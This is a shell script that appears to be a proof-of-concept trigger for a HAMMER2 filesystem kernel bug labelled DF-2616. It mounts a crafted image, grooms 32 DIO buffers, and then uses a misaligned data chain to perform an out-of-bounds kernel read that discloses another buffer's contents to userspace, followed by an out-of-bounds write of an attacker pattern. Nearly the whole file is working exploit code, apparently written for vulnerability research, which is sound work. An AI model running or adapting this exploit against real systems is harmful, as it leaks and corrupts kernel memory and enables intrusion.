#!/bin/sh
# DF-2616 variant E trigger (groomed OOB read + write) -- GUEST, root.
# 32 w files each hold one 1KB block relocated (valid geometry) into its
# OWN 64KB window; reading them allocates 32 DIO buffers.  f1's DATA chain
# is crossed (data_off=0x200ff0a: radix 10 VALID, misaligned, crosses its
# window end by 0x300).  If the kernel buffer whose KVA slot directly
# follows f1's window buffer is one of the live w buffers (vfs_bio.c:638
# assigns each buffer header a fixed 64KB KVA slot), the crossed read
# DISCLOSES that buffer's contents to userspace via read(2), and the
# crossed WRITE plants 0x300 bytes of attacker pattern into it, which the
# sync/umount flush then writes into the image file (forensic proof).
(printf 'DF2616OOBWRITE'; yes DF2616OOBWRITE | head -c 4096) | head -c 65536 > /tmp/pat.bin
(printf 'JUNKJUNK'; yes JUNKJUNK | head -c 4096) | head -c 1024 > /tmp/junk.bin
vnconfig -u vn0 2>/dev/null
vnconfig -c vn0 /root/poc/h2_E_groom.img || exit 1
mkdir -p /mnt/h2
mount -t hammer2 /dev/vn0@testvol /mnt/h2 || { echo "MOUNT FAILED"; exit 1; }
echo "ILLEGAL_BEFORE=$(dmesg | grep -c 'Illegal:')"
echo "=== step 1: read all 32 w files (allocates 32 DIO buffers) ==="
i=0
while [ $i -lt 32 ]; do
	dd if=/mnt/h2/w$i bs=16 count=1 2>/dev/null | hexdump -C | head -1
	i=$((i+1))
done
echo "=== step 2: read f1 (CROSSED chain: OOB read past window buffer) ==="
dd if=/mnt/h2/f1 bs=65531 count=1 2>/dev/null | hexdump -C
echo "ILLEGAL_AFTER_READ=$(dmesg | grep -c 'Illegal:')"
echo "=== step 3: write junk to all w files (in-place; dirties all DIO bufs) ==="
i=0
while [ $i -lt 32 ]; do
	dd if=/tmp/junk.bin of=/mnt/h2/w$i bs=1024 count=1 conv=notrunc 2>/dev/null
	i=$((i+1))
done
echo "=== step 4: write pattern to f1 (CROSSED: 0x300 bytes past window buf) ==="
dd if=/tmp/pat.bin of=/mnt/h2/f1 bs=65536 count=1 conv=notrunc 2>&1 | tail -1
sync
sleep 1
echo "=== step 5: umount (flush) ==="
umount /mnt/h2
echo "UMOUNT_RC=$?"
vnconfig -u vn0
echo "=== DONE ==="